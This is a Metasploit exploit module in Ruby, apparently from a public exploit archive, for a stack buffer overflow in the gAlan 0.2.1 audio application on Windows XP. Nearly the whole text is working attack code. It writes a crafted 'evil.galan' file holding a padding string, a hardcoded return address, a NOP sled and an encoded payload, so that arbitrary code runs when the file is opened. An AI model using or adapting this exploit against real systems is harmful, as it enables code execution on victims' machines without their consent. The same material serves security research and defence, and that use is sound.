gAlan 0.2.1 Buffer Overflow

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require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',  
'Description' => %q{   
This module exploits a stack overflow in gAlan 0.2.1  
By creating a specially crafted galan file, an an attacker may be able  
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'loneferret, original by Jeremy Brown' ],  
'Version' => '$Revision: 7724 $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/10339' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 07 2009',  
'DefaultTarget' => 0))  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),  
], self.class)  
end  
def exploit  
sploit = "Mjik"  
sploit << rand_text_alpha_upper(1028)  
sploit << [target.ret].pack('V')  
sploit << "\x90" * 45  
sploit << payload.encoded  
  
galan = sploit  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(galan)  
end  
end  
  
`